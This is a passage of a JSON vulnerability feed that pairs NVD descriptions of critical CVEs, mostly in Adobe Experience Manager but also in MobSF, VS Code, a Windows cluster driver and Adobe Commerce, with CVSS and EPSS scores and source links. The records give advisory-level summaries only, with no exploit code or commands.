score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48383&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48383, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48382","cveId":"CVE-2026-48382","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially...","summary":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:28.900Z","updatedAt":"2026-10-15T04:18:24.327Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48382","asOf":"2026-10-15T04:18:24.327Z"},"epss":{"probability":0.00972,"percentile":0.61725,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48382&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-48382","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48382","type":"primary","publishedAt":"2026-10-13T20:17:28.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48382&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48382, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106630","cveId":"CVE-2026-106630","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form...","summary":"Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.","detail":"Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:16.627Z","updatedAt":"2026-10-26T14:28:29.123Z","regions":["Global"],"vendor":"adobe","product":"experience manager","stacks":["Adobe","experience manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106630","asOf":"2026-10-26T14:28:29.123Z"},"epss":{"probability":0.00873,"percentile":0.58628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106630&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106630","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106630","type":"primary","publishedAt":"2026-10-13T20:17:16.627Z","checkedAt":"2026-10-26T15:50:56.370Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106630&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106630, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106629","cveId":"CVE-2026-106629","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form...","summary":"Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.","detail":"Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:16.507Z","updatedAt":"2026-10-26T14:29:04.837Z","regions":["Global"],"vendor":"adobe","product":"experience manager","stacks":["Adobe","experience manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106629","asOf":"2026-10-26T14:29:04.837Z"},"epss":{"probability":0.00873,"percentile":0.58628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106629&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106629","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106629","type":"primary","publishedAt":"2026-10-13T20:17:16.507Z","checkedAt":"2026-10-26T15:50:56.370Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106629&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106629, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106626","cveId":"CVE-2026-106626","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:16.270Z","updatedAt":"2026-10-26T15:12:15.240Z","regions":["Global"],"vendor":"adobe","product":"experience manager","stacks":["Adobe","experience manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106626","asOf":"2026-10-26T15:12:15.240Z"},"epss":{"probability":0.00737,"percentile":0.54212,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106626&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106626","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106626","type":"primary","publishedAt":"2026-10-13T20:17:16.270Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106626&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106626, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105895","cveId":"CVE-2026-105895","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user, potentially...","summary":"Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:15.420Z","updatedAt":"2026-10-26T15:25:34.140Z","regions":["Global"],"vendor":"adobe","product":"experience manager","stacks":["Adobe","experience manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105895","asOf":"2026-10-26T15:25:34.140Z"},"epss":{"probability":0.00707,"percentile":0.53151,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105895","type":"primary","publishedAt":"2026-10-13T20:17:15.420Z","checkedAt":"2026-10-26T16:50:55.493Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104585","cveId":"CVE-2026-104585","aliases":[],"kind":"vulnerability","title":"Mobile Security Framework (MobSF) v4.5.2 is vulnerable to Command Injection in /download_data/, /api/v1/scan, Dynamic Analyzer ADB integration module.","summary":"Mobile Security Framework (MobSF) v4.5.2 is vulnerable to Command Injection in /download_data/, /api/v1/scan, Dynamic Analyzer ADB integration module.","detail":"Mobile Security Framework (MobSF) v4.5.2 is vulnerable to Command Injection in /download_data/, /api/v1/scan, Dynamic Analyzer ADB integration module.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:12.723Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104585","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.01404,"percentile":0.72368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104585&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104585","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104585","type":"primary","publishedAt":"2026-10-13T20:17:12.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104585&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104585, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103848","cveId":"CVE-2026-103848","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary...","summary":"Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:11.267Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103848","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.01408,"percentile":0.72431,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103848&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103848","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103848","type":"primary","publishedAt":"2026-10-13T20:17:11.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103848&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103848, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102238","cveId":"CVE-2026-102238","aliases":[],"kind":"vulnerability","title":"Improper limitation of a pathname to a restricted directory ('path traversal') in Visual Studio Code allows an unauthorized attacker to execute code over a network.","summary":"Improper limitation of a pathname to a restricted directory ('path traversal') in Visual Studio Code allows an unauthorized attacker to execute code over a network.","detail":"Improper limitation of a pathname to a restricted directory ('path traversal') in Visual Studio Code allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:06.727Z","updatedAt":"2026-10-15T20:39:54.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102238","asOf":"2026-10-15T20:39:54.150Z"},"epss":{"probability":0.00817,"percentile":0.56849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102238&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102238","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102238","type":"primary","publishedAt":"2026-10-13T20:17:06.727Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102238&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102238, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96864","cveId":"CVE-2026-96864","aliases":[],"kind":"vulnerability","title":"Double free in Microsoft Failover Cluster Virtual Driver allows an unauthorized attacker to execute code over a network.","summary":"Double free in Microsoft Failover Cluster Virtual Driver allows an unauthorized attacker to execute code over a network.","detail":"Double free in Microsoft Failover Cluster Virtual Driver allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:00.717Z","updatedAt":"2026-10-14T04:19:01.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96864","asOf":"2026-10-14T04:19:01.943Z"},"epss":{"probability":0.00648,"percentile":0.50748,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96864&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96864","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96864","type":"primary","publishedAt":"2026-10-13T19:22:00.717Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96864&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96864, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92909","cveId":"CVE-2026-92909","aliases":[],"kind":"vulnerability","title":"Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.","detail":"Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:43.613Z","updatedAt":"2026-10-15T11:18:04.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Commerce and Magento"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92909","asOf":"2026-10-15T11:18:04.833Z"},"epss":{"probability":0.00794,"percentile":0.56131,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92909&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92909","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92909","type":"primary","publishedAt":"2026-10-13T19:21:43.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92909&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for 